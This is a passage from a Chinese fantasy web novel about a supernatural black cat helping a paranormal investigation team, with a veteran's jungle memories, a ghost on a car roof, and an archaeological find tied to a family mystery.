一棵又一棵人面树带着他们往前走,路上遇见湍急洪流、食人蟒蛇、成群毒蚁,人们相互扶持,缓慢前行,小猫咪却在前面歪头晃脑,蹦蹦跳跳。 “喵呜。” 钻过葱翠的灌木丛,小咪瞥见了一点雪白。它急忙往回跑,漆黑毛领逆风吹拂,仿佛翻涌的乌云,它动作敏捷,在腐烂枯叶、幽绿苔藓里疾驰,路上遇见心爱的小蜘蛛也顾不得抓,边跑边向人报信。 “嗷呜嗷呜。” 隔着好远,人就听见小猫的叫声。 崔姜捂着饿得发疼的肚子,“咪咪的叫声好奇怪,怎么叫得这么急?” 沉风渡:“它在给我们报信。” “报信?”苏乐劈开拦路的灌木,加快脚步,她跟在小猫的后面,劈出一条道路,砍翻一片叶后,她停下脚步,微微睁大眼睛。 一只雪白的羊在水流旁低头喝水。 一道道光柱斜斜射入森林,金色浮尘上下游动,它站在光里,浑身被染成了金色,无比圣洁。 “我看见了一头白羊。”苏乐嘴唇微颤。 所有人都被白羊散发出的威严感染,只有小咪,早就伏低身体,悄无声息踩着落叶,跳到白羊的身边。 小咪看准时机,一个飞扑,准确地跳到了羊身上。 “喵呜。”猫坐到了羊的头顶。 “咪咪!你……”苏乐眨了眨眼睛,对着突然出现的东西发呆,不可置信地又用力揉了下眼。 白羊消失不见了,只剩一块青铜羊像立在茂密的森林间,铜像的身上爬满的苔藓。小猫坐在羊的头顶,尾巴轻轻晃动。 “未羊。” 在未羊的身后,有一扇通往现实世界的门。 ———— 打开门,他们就回到了疗养院中。 赵铮铮把几个被毒虫咬的人紧急送去医院,其他在林子里饿得不行的人跑到食堂,买了一些方便食品狂炫。 小咪继续在走廊跳来跳去。 离开森林,不再有小虫子让它玩,乐趣少了许多,但猫是善于自娱自乐的动物,它很快就发现,阳光透过树叶落在地上的影子随风拂动,像极了蝴蝶轻展的羽翼。 小猫追着地上的影子跑。 跑到走廊的尽头,它歪过脑袋,“喵?” 沉风渡坐在轮椅上,膝盖放着一本诗集,诗集中用片翠绿的叶子作书签。 他翻开书签标记的那页,微笑着问:“爷爷,今天还要我念诗吗?” 老人躺在床上,眼睛凝视着墙壁上摇曳的光斑,窗外,树叶沙沙作响。 “大哥把罐头悄悄塞给我,让我多吃一点,好走出去,他看我年纪小,总是照顾我……”他沙哑着声音,重复已经说过很多次的故事,“馒头的腿被炸弹炸掉了,求我把信给他娘,他说他的家在燕子塔下,我回到烛城,燕子塔已经没有啦……” “好多好多人死在森林里,我踩着他们的尸体往前走,走啊走,走啊走,虫子在衣服里乱蹿,我看见蛆虫在他们的眼睛里爬出来,我看见他们的身上,有植物生根发芽,继续往前走,我看见了一只白羊……” 小咪跳上沉风渡的膝盖,又跳了一下,爬到床上,把小脑袋搁在老人皱纹苍苍皲裂如老树皮的手背上。 老人抚摸着它的头,浑浊的眼睛里第一次有了神光,“我摸到了,我摸到了那只白羊!” 他的眼里闪过水光,对着空气喃喃:“我摸到了它,我来带你们回家。” 苏乐停在门口,听见这句话,顿住了脚步。 她本以为,那片翠绿的海洋占据着老人的记忆,是他忘不掉过去死亡的阴霾,忘不了潮湿泥泞雨林里,那些肆虐的疾病、可怖的野兽、骇人的毒虫。 但原来让他忘不掉潮湿森林的,不是对死亡的恐惧,而是遗憾。 “我看见了白羊,白羊附近一定有人家!”年轻的士兵这样说完,回头一看,绿色海洋浪潮涌动,他的身后已经空无一人。 那些年轻的生命,性命相托的战友,静静地躺在密林里,变成了无名的野花,变成了欣欣的树木。 老兵环住黑色小猫,嘴角微微扬起,眼里展开了另外一个世界。 在漫山遍野的翠绿中,他年轻的战友们,头上开着野花,身上栖着小鸟,站在金色的光里朝他无声地笑,随微风翩翩起舞。 “静静的,在那被遗忘的山坡上 还下着密雨,还吹着细风, 没有人知道历史曾在此走过, 留下了英灵化入树干而滋生。 ” 第50章 在所里,愚公小队热情讨论着这次经历。 他们推测,老兵年轻时,在森林里遇见未羊, 他在未羊带领下,走出了森林。也因为未羊就藏在他的脑袋里,他变成一位极其强大, 但不自知的能力者。 因为未羊神奇的能力,现实与记忆的界限模糊,连在疗养院待久了的护士医生,也能窥见记忆的一隅,看见鬼域里待着的沉风渡。 “没想到居然能找到未羊的线索,这次赚大发了。”夏炫下巴靠着椅背,“不过,未羊藏在一个老兵回忆的森林里,这谁能想到?” “巳蛇藏身的地方也没人想到啊,一段回转循环的时间里, ”崔姜笔尖刷刷, “不过, 未羊现在又去哪里了呢?” 崔姜陷入沉思——在他们打开门,准备将未羊雕像背出时,未羊却突然消失不见了。它去了哪里? 她对这个结果也没什么遗憾的,毕竟,如果神明存在意识,谁能把它们困起来? “巳蛇藏在时间里, 未羊藏身真实与虚幻之间,不愧是神明,能力都好神奇。” “咱们咪咪的能力也很神奇, 还能让椅子跳起来咬我,是不是……”夏炫的声音突然放轻了。 小猫躺在椅子上,睡得四仰八叉,大尾巴从椅背下放缝隙垂下来。 吧唧吧唧。 它砸吧着嘴,粉红的爪爪轻轻弹动。 “嘘——”崔姜弯起嘴角,轻声说:“它在做梦。” 愚公小队顾不得讨论鬼域了,踮起脚尖悄悄走过来,围在小咪身边,一起看着小猫睡觉。 “应该是在梦见吃什么东西吧。” 苏乐拿起条毛毯,轻轻盖在小猫的身上。 小咪又梦见那片辽阔的森林。 它在追一只小田鼠,一直追到大树底下,大树高耸入云,树冠像翠绿的云彩。小田鼠往树根一扎,钻进湿润的泥土里,小咪守在洞口,鼻子往洞里嗅,鼻头沾染湿润的泥土,蓬松的大尾巴沾了几点绿色的碎屑。 等了一会,小咪又被森林里其他的东西吸引注意。 小猫蹦蹦跳跳,扑着翩翩飞舞的蝴蝶,跑到鲜花盛开的溪谷。 它又看见了那头白羊。 白羊趴坐在山花间,银白色的长毛垂在地上。 小咪踩着几块石头跳过河,跑到白羊的面前,它歪头观察一会,尾巴尖尖勾起,趴在爪爪上。 又过一会,看见白羊没有动,小咪谨慎地靠近,歪着脑袋,蹭蹭地上的石头,又蹭蹭摇摆的嫩草,发出交朋友的邀请。 白羊静静看着它,没有拒绝。 小咪的尾巴翘了起来,往前一扑,扑进它如雪的长毛中,在里面打了个滚。 “喵呜。”它低下头,按住羊的身体,开始认真给它舔毛。 …… 睡在椅子上的小猫伸出舌头,舔两下空气,把自己的爪爪放在嘴边,又舔又啃。 夏炫轻声笑:“它一定是梦见在吃大鸡腿。” 小猫砸吧着嘴巴。 大家都忘记死里逃生的凶险,看着小猫睡觉,忍不住傻笑。 小咪的睡相逐渐猖狂,舔着舔着,后爪突然开始失控蹬自己的脸,越舔越蹬,越蹬越舔,没几下,它就把给踹醒了,迷迷瞪瞪睁开眼。 “咪咪好可……”夏炫话没说完,就挨了一巴掌猫猫拳。 小咪生气地朝他叫:“喵!” 是不是你在猫睡觉的时候偷偷蹬猫? “冤枉啊咪咪大老爷!” 小咪叼起小帽子,换了个位置,跑到所长的办公室,毫不客气地跳到她的桌上,继续枕着自己的小帽子,在大办公桌睡觉。 所长停下了手里工作,垂眸看着它。 “咪呜。”小咪的耳朵抖了抖,睁开眼睛,看着慢慢靠近的脸。 “羊的味道。”所长砸吧了下嘴巴,低下头,整张脸都埋进猫柔软的猫里,深吸一口。 响起两声敲门声。 “咚咚。” 她坐直身体,隔了两秒,平静地说:“请进。” 进来的是萧向秦,来汇报潜入庆康药业的调查结果。刚进办公室,他就敏锐地注意到了一件事。 所长的脸上有一根漆黑的长猫毛,毛贴着她的脸颊,随她说话而摇动。 萧向秦脚步一顿,心想,她刚才干了什么,把整张脸埋进猫身上? 他坐在所长对面汇报,尽量不把注意力放在那根微微晃动,像胡子一样的毛上。 “王绍远可能和深渊搅在一起了,沈家老别墅里有深渊活动的痕迹。联系最近几件事,深渊可能在嘉木新村做点什么。” 之前地下室鬼域中的几个人,都生活在嘉木新村。这座红竹市最大的城中村人口密集,外来人口多,极难管理,如果鬼域扩散,会是一场灾难。 “喵!”听见熟悉的地名,小咪抬起头,眼睛瞪得像铜铃。 猫的地盘! 萧向秦瞥了眼桌子上的小猫。 所长搓着小咪的脑袋,“咪咪也是住在嘉木新村,是吧?” 所长的手劲很大,掌心粗糙,小咪头皮往后扯,被摸得翻起白眼。 它努力站直身体,响亮回:“咪!” 这是猫的地盘! “咪咪可以帮忙保护嘉木新村吗?” 小咪仰起头,“喵!” 这本来就是猫应该做的。 所长露出微笑,“那么,就拜托咪咪了。” 小咪歪头蹭她的手指,“喵呜。” 不客气喵。 萧向秦不着痕迹地皱了下眉。他不赞同把这样的任务交给一只猫。 他开口想要说话,小猫却突然跳下了桌子。 小咪的前爪搭在男人膝盖,后爪搭着桌子,把身体拉长,蓬松的尾巴高高翘起。 它凑到萧向秦的脸侧,鼻翼翕动,轻轻嗅着他身上的气味。 萧向秦身体僵硬。 小猫踩在他的腿上,隔着裤子,能感觉到肉垫的触感。 圆圆的猫脸倒映在他的眼睛里,越来越近,小猫湿润冰凉的鼻头在他的鼻子上碰了一下。 “咪。”它歪过头,蹭蹭他的脸,专心看着他。 萧向秦突然觉得,猫在认真地记住他,他的气味、他的颜色、他的长相。 他的手指微微蜷曲,心里好像有小兽在打滚,有植物在发芽。 但在他要抬手摸摸时,小咪突然又跳回了桌子上,脑袋趴在自己的小帽子上。 萧向秦伸出的手无处安放,于是也理了理自己头顶的同款帽子。 “所长,网上很多人反应,撞鬼的事件变多了。关于灵异的讨论也越来越多。” 所长抬手摸着小猫,“网络会拉近人和人之间的距离,信息流通也加快了,在过去,车慢路遥,很多地方一城死绝了,才会有官衙姗姗来迟。” 萧向秦“嗯”了下,“但是网络也可能加快污染的传播。”他紧盯着所长摸猫的手,听见响亮的呼噜声,眼神微暗,“我们在嘉木新村发现的一个死者,赵劲强。” 他拿出一张照片,看见照片上男人熟悉的脸,小咪耳朵一抖,抬起爪爪,猛拍照片。 喵记得,这是坏人! “咪咪这是怎么了?”所长捏住它的肉垫。 萧向秦:“它可能感受到虐猫犯的气息。”他顿了下,讲述:“我们接到神秘电话,感到公寓楼时,他的身体正在变成门,好在阻止及时。我们调查,在这之前,他从未知渠道弄到一只小鬼,妄图用养小鬼来牟利,这是他进入暗世界的契机。” 他又拿出另外一个人的照片。这个人小咪同样认识,是地下室里的大叔。 “这个人叫崔成,是个为了保险费,纵火杀妻的逃犯。” 赵劲强和崔成有相似的地方。他们同样是内心阴暗面极大的人,也一样居住在人口密集的嘉木新村。而且,他们接触诡异并非偶然,而是人为引导。 短时间出现两起案子,萧向秦剑眉微拧,说出结论:“我怀疑,深渊掌握了能让人拥有能力的方法,他们大面积散播污染物,一方面是想在红竹市煽动一起大灾祸,一方面,好像在实验什么。”他抿了下唇角,“所长,既然发现他们藏在王绍远的庄园,我想主动出击,把他们全部解决。” 所长点了点头,“那就交给你啦。” 小咪扒拉着人的手指,“喵呜!” 猫也要出击。 所长像是能听懂它的猫语,手指点了点小猫的鼻头,“想跟萧队一起活动?” “喵!”小咪坐起来,尾巴晃动,坐姿笔直。 猫可以保护人! “那要问一问萧队的意见。” 小咪仰起头,期待地看着男人,金色的眼睛睁得圆圆,还嗲声嗲气拖长了声音叫:“咪呜——” 没有人能抵挡它的撒娇。 但萧向秦面无表情,眼神冷漠,“我拒绝。” “喵。” 小咪的胡子沮丧地垂下来,转过身,拿屁股对着他,尾巴大幅度地扫来扫去。 猫不开心了。 ———— 小咪在研究所呼呼大睡补觉时,孙菱也从医院打车离开,回到五颜六色写着【情感专家】的事务所。 王平正拿着没有针头的针管,给小白喂奶。 小白猫仰起头,羊奶打湿了它嘴巴边的白毛,它用两只爪子扒拉着针管,吃得吧唧作响。 “事情办完啦?”王平没有抬头。 孙菱“唔”了声,表情颇不自然。 王平捏住小白的肉垫。出生不久的小奶猫,肉垫也是粉嫩的,有种吹弹可破的错觉。 “前几天同行完成了一单,从鬼域弄出十几个长生果,招牌一下子就打出去,哼,你知道吧,那小鬼以前也是我带的人,嫌弃我开的工资太少,自己跑出去单干。” 王平恶狠狠哼了声,捏肉垫的手不自觉用力。 “喵!”小白猫奶声奶气地大叫,乳牙咬住他的虎口,留下两个浅浅牙印。 王平连忙撒手,把奶瓶放在一边,拿起旁边的纸巾,给它擦嘴巴边上被羊奶打湿的毛。 孙菱坐下,手挠着小奶猫的头,小白微微抬起头,认真嗅她的手指,还伸出舌头,轻轻舔了两口。 王平喂半天奶还被咬一口,难免有点捏酸吃醋,“怪了,它怎么开始亲你?” 孙菱:“它是闻见咪咪的气味了吧。这次在鬼域里,我碰见了丧彪。” 王平也没奇怪,“怎么不带回来?” 孙菱:“咪咪被愚公小队霸占了。” 王平摘下墨镜,眼帘掀起,“愚公小队也进鬼域啦?” 孙菱点头,“他们的目的是救出王旦。” 王平把墨镜放到桌上,“那你杀了他吗?” 孙菱抿了下嘴角,“准备动手,但是……我们达成了一桩交易。”她看眼王平的表情,从这张路人脸无存在感的五官上,很难观察出他的心理变化,“我谈的,他给的价还很高。” “多少?” 孙菱嘴角微微扬起,有些骄傲地说:“三百万,是之前的十倍呢。” 王平:…… 他仰面后躺,压下椅背,双手捂住脸,身体小幅度颤抖。 孙菱见状不太妙,把小奶猫丢过去。 猫猫炸弹被扔到王平的怀里,扭动脑袋,清澈的湛蓝眼睛茫然无助。 一两秒后,它爆炸了,“喵啊——喵啊——” 王平连忙抚慰怀里的奶猫,拿起奶瓶重新塞它嘴里,重重叹口气,“算了。你爱怎么样就怎么样吧。真有你的,三千万的单你给谈到三百万,你还很骄傲。” 孙菱怔了片刻,“好家伙,三千万的单你就给我三十万?” 难怪那位前辈离开他单干了。 “周扒皮。”她小声嘟囔。 王平瞪她一眼。 孙菱安静几秒,又小声念:“黄世仁。” 三千万泡水了,三百万还能再抢救一下。 王平手里揣着猫,打开电脑给她看资料,“王绍远可不好杀,他身上带着污染物防身。他这么有钱,一直试图用高价在猎人手里收污染物。” 孙菱:“都有些什么污染物?” 王平是个老猎人,动用自己的渠道搜索,“有很多东西你应该可以应付,南洋的小鬼啊,降头啊,巫蛊娃娃啊。但是有个东西,很麻烦。” 孙菱在听见巫蛊和小鬼后,脸色就微微变化,感觉自己接到了很麻烦的一单。 “什么东西?” “美人图。” 这个怪谈非常出名。 以前,有一位暴虐的君王,他下令要求画师们为自己最爱的宠妃画画,如果能画出美人的容颜,就高官厚禄,应有尽有。由于奖励丰厚,画师们纷叠而来,为暴君献画,但没有一个人能让他满意。 暴君杀死无数画师,宫门外白骨堆垒如山,直到最后,一位不知名的画师来到宫中,为暴君献上一幅美人图,才终止了这场无止境的杀戮。 画中一片黑色,美人对镜梳妆,身段欣长,五指纤纤,犹如莲花。 但她没有头。 ———— 小咪盘在副驾驶座位置,爪爪捂着脸,继续补觉。 夏炫看眼小猫,露出微笑,想了一下,还是给它带上了安全带。 傍晚,阴云密布,车灯投射出两束光线在充满水汽的空气里逸散。 前面是一条隧道,穿过隧道,就能到另外一个城区。 隧道入口处,有个撑着雨伞的女人在前面走。 夏炫多看了眼。 女人穿着白色长裙,高跟鞋,背影高挑,娉娉婷婷。 他心中隐隐觉得有点违和,隧道就像一张漆黑巨嘴,吞噬了所有的光线。他压下那种奇怪的感觉,继续往前开车。 前面那辆车开进隧道里,已经看不见了。夏炫透过后视镜往后看一眼,撑伞的白衣女人依旧在后方慢慢走着,只是或许因为天气的关系,他看不见对方的脸。 大腿微微一沉。 本来睡得很香的小猫不知什么时候醒来,悄无声息地蹲坐在他的腿上,认真地看着窗外。 “哈——”它凶狠地哈气。 夏炫猛地清醒,盯着后视镜,冷汗直流。 他看见的,依旧是女人的背影。 车头已经驶入隧道了,夏炫猛地一脚刹车,猛地调转车头,毫不犹豫地离开隧道,开车扬长而去。 隧道入口,女人抬起伞,沉默地看着他离开。 “萧队,能来香草路隧道这边看一下吗?”夏炫换了条路线回家,“感觉有点不对,是不是最近出车祸了,怎么白天都能撞见鬼?” 他心不在焉地往前开车,导航为他选了条偏僻道路。路上车辆稀少,车灯昏暗。 小咪趴在副驾驶的位子,脑袋搭在前爪上,耳朵轻抖。 “嗒嗒、嗒嗒。” 声音从车顶传来,混杂在激情的摇滚乐里,像轻柔的鼓点。 小咪坐直身体,歪头看青年一眼,他并没有察觉到异样,跟着音乐轻哼。 小咪:“喵呜。” “怎么啦咪咪?马上就到家了,很快的。”夏炫直视前方,生怕前面再出现个撑伞的鬼影。 小咪歪了下脑袋。 “嗒嗒。” 头顶的声音越来越明显,稍后,又变成了撕拉声,像极了长指甲重重挠过车顶。 “今天的歌怪怪的,是哪个摇滚乐队出的新歌吗,好阴间,味太对了。” 人对头顶的东西毫无察觉。 小咪微不可查地叹口气,让自己的影子悄悄溜出窗外,攀着车窗往上爬。 那女人就趴在车顶,指甲挠着顶端,挠得血迹斑驳。她慢慢抬起头,漆黑长发间,露出一张惨白的脸,面无表情地看着小咪。 小咪想了想,取下了腰间的金腰带。 女鬼的眼神变得炽热起来,似乎金腰带对她很有诱惑力。 但小咪不是把金腰带给她的,她甩了下大金链子,当成武器,缠住女鬼的脖颈,猛地把她掀下车。 正好夏炫一个转弯。 女鬼一下子被甩下了车,小咪站在车顶,看着危险远去,才放心地让影子缩回车厢。 “好怪。”夏炫皱眉,“这首歌怎么不带感了?” “喵呜。”猫打了个哈欠,枕着自己的尾巴继续睡觉。 它一跳回家,没等多久,赵佳怡就和小谢医生一起回来了。 小咪礼貌上去打招呼,选了个喜欢的位置坐着,静静陪着他们。 “我又看见了那只很像咪咪的黑猫。”小谢医生摸了摸小咪的头,“咪博士还带了只发情的三花过来,让我们绝育。” 赵佳怡瞪大眼睛,“真有这么聪明的猫吗?” 小谢医生点头,“真的!咪博士和你家猫猫特别像,也是只很可爱的长毛黑猫,不过没有咪咪可爱。” 小咪歪头,“咪?” 咪没有咪可爱? 赵佳怡心花怒放,夸自家小猫,比拍她马屁都让她开心。她捏了捏小咪的爪爪,“不过哦,我们小咪太笨了,要是有咪博士一半的聪明就好了。” 小咪抽出爪爪,委屈地“喵”一声。 赵佳怡把猫抱在身上,它像个热水袋一样,四脚朝天,仍由人搂着,懒得动弹。 赵佳怡苦恼道:“我看网上说,猫猫都会很闹腾,跑酷、挠门、抓沙发……太乖的猫猫,很有可能是智障。” 虽然是智障,但很适合当宠物了。 她担忧地看着一点都不反抗的小猫,“我们小咪不会也是智障吧。” 小咪胡须微颤,甩了下大尾巴。 小谢医生突然觉得,小黑猫的眼神像是很无奈。 赵佳怡把脸埋在小咪的肚子上,“呜呜咪咪,就算你是个智障,妈妈也爱你!阿呸呸——” 她的嘴巴里突然多出了只毛绒绒的爪子。 小黑猫严肃地看着她,扭头就跳上了人够不着的书架,探出脑袋,给人一个黑鼻孔。 人,请你对猫尊重一点。 赵佳怡:“我家咪咪好可爱。” 小谢医生看着她,嘴角忍不住上扬,“刚才咪咪的眼神,很像咪博士。” “怎么说?” “带着一种对人的鄙视。”好像把人当成智障。 这句话他没敢往下说。 两个人在一起看了一部电影,小谢医生起身告别,刚走几步,他就在冰凉的瓷砖上滑了一跤,差点摔在地上。 “好潮啊。” “是啊,回南天嘛。今年好像特别潮。” 他们站在门边,又一起吐槽了今年的天气,说了好半天的话。小咪趴在书架上,尾巴卷起,不明白差不多意思的话,为什么他们要翻来覆去地说。 人,好难捉摸。 小谢医生扭过脸,看向灯光闪烁的走廊,小声问:“那是你的邻居吗?” 赵佳怡探出头看一眼,又是那位洁癖的社畜,跪在自家门口擦地。 “他看起来不太对劲的样子,有事和我打电话,我经常在医院值夜班,一个人住在这里太危险了。” 赵佳怡点头,“正打算搬家呢。” 他们交头接耳时,跪着用力擦地的男人突然停下了动作。 两个人脸色微白,一股无名的恐惧攥上心头,连走廊的灯光,似乎也变得惨白。 男人慢慢扭过脸,就在要完全将头扭过来时,一声猫叫打断他的动作。 小咪身体伏低,摆出攻击的姿态,“喵呜——” 滚回去。 50-60 第51章 那东西被小咪吼一嗓子, 又悄悄缩了回去。 “咪咪,不要这么凶。”赵佳怡抱起丧彪形态的小猫,正打算和邻居道歉,却发现他已经转身回到自己房间了。 就这样,人对自己的危险境地毫无察觉,独让猫愁掉几根胡须。 赵佳怡睡觉后, 小咪跳到窗台上,扒拉开窗户,坐到外面空调上。 它抬起头,看着天上银白的月亮,月光皎皎,将小猫的影子映在墙壁。 雪白的月亮隐隐蒙上层红色的雾,就像布满血丝的眼睛,向人间投向疲惫的一瞥。 小咪歪了下脑袋,爪爪往前伸,朝着血月叫:“咪啊——” 但血月只出现了一瞬, 马上又恢复了原状。 小咪想了半天, 想不明白, 它只觉得,也许是月亮太累了。挂在天上,也不能眨一下眼睛, 如果可以, 猫愿意把室友给猫买的鱼油送给月亮。 室友说, 鱼油可以明目。 小咪跳到隔壁空调上,认真看着里面。 竖直挂衣架挂着男人的衣服和工牌。邻居叫高闯,在庆康制药工作,职位是…… 猫不认识那几个字。 高闯背对着窗户,侧躺在单人沙发上,身下灰色布艺沙发,很明显晕开一片湿痕。 “好潮、好冷。”他低声喃喃。 过了一会,他的呓语逐渐模糊,像是浸在水中,含糊不清。 小咪只听清一句反复重复的话语。 “妈妈,我想要回家。” ———— “喵呜喵呜。” 橘咪和白咪在楼下叫它。 老大老大,一起玩呀。 小咪看它们一眼,继续守护在男人的窗外。没过多久,两只狸花猫爬了上来,一左一右,护法在猫的周围。 橘咪的脸圆了一圈,亲昵地在空调上打滚,露出自己的肚皮,“喵呜。” 老大来舔我。小咪按住它的身体,敷衍地给小弟舔了下毛。 两只猫喵呜喵呜抱怨,自从咪被人类拐走后,就很少抽时间来陪猫玩了。 小咪突然想到什么,从房间叼出一块肉干,在橘咪白咪热烈的眼神中,蹦蹦跳跳跑出胡桃街。 “喵喵喵。”两只猫在后面翘着尾巴追它。 老大是给我吃的吗?老大是给我吃的吗? 猫之间的地盘划分非常严格,穿过一条街,就到了其他猫的地盘。 空气中飘来信息素的气味,白墙上庞硕巨兽的影子悄然压近。 “嗷呜。”橘咪先趴了下来,身体颤抖,还没开战就主动投降。 白狸花性格上半身压低,警惕盯着前方,喉咙发出低呜声。 几只猫出现在街道尽头,肉垫悄无声息地踩着水泥道路,慢慢走过来。为首的是那只烟嗓大布偶,绵绵阴雨天,让它的长毛更加不羁,烟蓝色的眼睛很冷酷。 布偶带着自己的小弟——一只奶牛猫一只黑狸花来应战。 小咪跑到它跟前,把肉干放在地上。 布偶烟蓝色的眼睛微微睁大,顿时变清澈很多。后面两只猫眼睛盯着肉干,不停舔鼻子。 小咪:“喵呜。” 它轻轻蹭布偶的头,把上次帮忙的报酬送给它,还向它表明来意。咪希望它们能帮忙,留意嘉木新村的异常。 布偶声音很沙哑,“喵。” 你在帮人类做事。 语气是肯定的。 几只猫看它的眼神顿时就不对劲了。帮人类做事,猫奸,猫中叛徒! 小咪尾巴不快地拍打地面,拖长了声音,“喵呜。” 人,上交了保护费,猫,要保护人。 不服来打一架。 布偶叼起了肉干,答应这件事,但出于一只被遗弃的流浪猫的好心,它告诫小咪:“不要相信人类的话。” 奶牛和黑狸花舔鼻子,眼巴巴看着小咪。 小咪:“咪呜——” 下次再给你们带。 在这之后好几天,夏炫都没来爷爷奶奶家。小咪的生活又恢复常态,晚上陪室友,白天陪奶奶,想出门就偷溜出去,和橘咪白狸玩。 小咪还去宠物医院看过三花三美喵,隔着铁笼,三花气得呜呜叫,控诉咪把它骗进医院挨刀子的卑鄙行径。 骂得很脏。 小咪趴在窗台上,脑袋枕着爪爪,尾巴尖尖轻轻摇晃。 阳光洒在它的身上,把它全身照得暖洋洋的,咪情不自禁闭上眼睛,又梦见蝴蝶翩跹的森林。 薛芦花坐在阳台,毛线针灵巧穿梭,彩色的毛线球在篮子里滚动,给小猫做的围裙初现雏形。 电视机里自动播报节目,板凳上收音机咿咿呀呀唱着戏曲。 小咪闭着眼睛,处在浅眠的状态,耳朵时不时抖一下,捕捉着外面的动静。 “喵呜。”它突然直起脑袋,跳下窗台,翘起尾巴跑到门口。 小猫直起身体,爪爪压在把手上,打开门。 “福娃,怎么了?”薛芦花停下毛线活,“有客来啦?” “喵!”小咪期待地望向前方。 薛芦花往门外看一眼,并没有人过来,她感到有点奇怪,但还是走到厨房,给泡了一杯茶。 茶刚泡好,楼梯拐角就走上道熟悉的人影。 “咪咪!”夏炫高兴打招呼。 薛芦花把茶放到茶几,微笑着说:“咪咪一早就听见你的脚步声,在这里等你了。” 小咪跑过去,拿他的鞋子磨爪子。 今天夏炫穿的是双炫彩网鞋,颜色鲜艳,爪感不错,猫很喜欢。 夏炫手里提着一袋给猫买的零食。放下零食后,他进行人类对猫的参拜仪式,双手托住小猫的肋下,把它提了起来。 小咪身体放松,尾巴自然下垂,信任地让他举起。 夏炫双手举高,然后把头埋进猫的肚子里,长吸一口。 “赞美猫猫!” “喵。” 小咪把爪子搭在他的脸上。 “小夏,最近很忙吗?你的脸色不太好。”薛芦花拿出一盘他喜欢的糕点,关切询问。 夏炫靠着沙发,眼睛弯起,笑着说:“熬了几宿。” 他们拿博物馆的巳蛇铜像作为诱饵,钓出不少邪教徒,与深渊有过一场激战。 其实苏乐想把小咪喊过来。猫在鬼域中的表现太让人惊艳了,觉醒的能力又能治愈伤口,让她恨不得以后每次任务都把猫带上。 但夏炫却不同意,太危险的任务,他不想把小猫带着。 他揉了揉胀痛的眉心,目光落在电视上。 小咪不明白夏炫在想什么,跳到他的膝盖,陪他一起看电视。 最近开挖地铁时意外发现的古墓热度很高,红竹市节目台做了一档专题报道。赵荆玫重新站在镜头前,主持这档节目。 古墓是一千多年前一位贵族的墓葬,陪葬品很多,保存完好。那个年代战乱频发,九州分裂,王朝更叠频繁,完好留存下的文物并不多,因此古墓格外有研究价值。 小咪歪了下脑袋,在一晃而过的镜头里,它看见一个眼熟的东西。 是刚从土里挖出的一把巴掌长的小剑,正被学者耐心擦掉上面的泥土,露出剑柄七颗明珠。 “是七星剑的样式,看来埋葬在墓xue的主人,和那位神秘的寐城将军有关系。” 小咪跑到书房里,朝张云帆叫,见张云帆不懂它的意思,它直接跳到书柜顶端,爪爪往下,拨开柜门。 张云帆搁下毛笔,看小猫脑袋一拱,身体一钻,就像柔若无骨的液体,钻进书柜里面。 “我们福娃长得圆圆的,身手也这么好,真不错啊。”他很是骄傲。 小咪从书柜里像蜘蛛一样爬来爬去,终于找到自己要找的东西,叼起那张照片,又嗒嗒跑到客厅,放在茶几上,示意让他们看。 照片是薛静秋小时候拍的,小姑娘坐在马匹前,年轻时的薛芦花坐在她身后,母女两握着同一支马鞭,作出策马扬鞭的姿势,不过不太标准,张云帆站在前面一点,给她们拉着缰绳,像个马夫。 “怎么把这张照片叼出来啦?”薛芦花微笑,“这是静秋小学毕业后,我们一起去流云大草原旅游时拍的,你看张老师那土里土气的样子,活脱脱一个跑腿的。” 小咪用肉垫拍照片,“喵呜。” 夏炫目光顺着小猫的肉垫移动,落在她的书包上,薛静秋书包挂着一个小饰品,但并不是常见的毛绒玩具,而是一把小剑。他马上想起刚才电视上看到的文物,仔细比对,面色越来越苍白,也嘴唇也不由轻轻颤抖。 小咪担心地看着他,跳到他的身上,尾巴晃动。 人,你怎么啦? 夏炫脑中一片空白:在烛城古墓的墓葬中发现薛静秋同款的小剑,难道古墓里埋葬的就是她?她迷失在暗世界某处鬼域,死在了一千多年以前。 “小夏,怎么啦?你身体不舒服吗?” 夏炫对上薛芦花的眼神,眼眶湿热,用力眨了下眼睛,把脸埋在猫身上,瓮声瓮气地说:“没什么,我就是在想,古墓里的女人,一个人躺在土里,一定很冷吧。” 薛芦花忍不住笑起来,“小夏同学,你怎么这么多愁善感啦?人死万事休,一个死了千把年的古人,怎么会觉得冷?” 张云帆走出书房,“小夏一直是个善良的好孩子。” 他们两个人的话让夏炫更想哭了,只好用力蹭猫的肚子,假装在吸猫。小咪也很无奈,抬起后腿努力踹他的脸。 “我看小夏是在怜香惜玉,但是,”薛芦花微微偏过头,问:“你怎么会觉得古墓主人是位女性呢?” 夏炫抬起头,茫然地看着她,又看向电视,那行“墓xue里埋葬的神秘男子”,刺痛了他的眼睛。 好耶!是个男人! 他心中瞬间雀跃起来,眼睛弯起来,像一轮弦月,晦暗的眼里也有了光彩。 小咪总算把青年的脸踹开,抬起爪子,邦邦揍几下他,警告他不许随便拿猫擦脸。 夏炫顺势捏着猫的肉垫,放在嘴边亲了一口,“咪咪真香啊。” “喵!”猫拿这样没脸没皮的人总是没什么办法。 “老师,”夏炫也不免惴惴,指着照片上的小剑吊饰,试探性地问:“静秋背包上挂着的这个……”他怕老师因为小剑和出土文物相似,产生什么微妙联想,正在思考措辞时,却听到薛芦花的声音:“它很像电视里那把剑,是吧?” “呃。”夏炫瞬间慌了神。 “这是当年很火的小工艺品,静秋也有一把。” “寐城遗迹里七星剑的仿版,”张云帆拿起照片,“好多年前的事了。” 他们聊天时,小咪已经重新趴在沙发上,找了一个熟悉的位置,把自己盘成一个圆,爪爪捂住眼睛。它处在浅眠状态,一边给自己补觉,一边听大人们聊天。 寐城没有在史书上留下很多记载,一度认为是座不存在的城池。 张云帆和薛芦花同样对寐城抱有浓厚的兴趣,两个人在莽莽黄沙里拿着铲子挖啊挖,挖啊挖,终于发现了证明古城存在的关键性证据。寐城因为未知外力与世隔绝,却没有在灾难中毁灭,里面的百姓过得很好,生活水平在当时的乱世高出一大截。 在这段时间,两个年轻人看对了眼,结婚了。 “那时候薛老师可有劲了,”张云帆回忆青春岁月,笑:“一把铲子呼啦啦地挖,感觉能把地球挖穿,从南极挖到北极。” 薛芦花白他一眼,温和地和夏炫解释,“七星剑是寐城城主佩戴,和我们也算很有缘分。所以,我们家里有把这种款式的小剑,珍藏版,后面被静秋拿着挂书包上了。我看新挖出的古墓,说不定是寐城将军的某个子孙。” 夏炫放松身体,瘫在沙发上,反正里面埋的不是女性,和薛静秋没关系就好。比起历史,他还是更喜欢听老一辈的爱情故事。 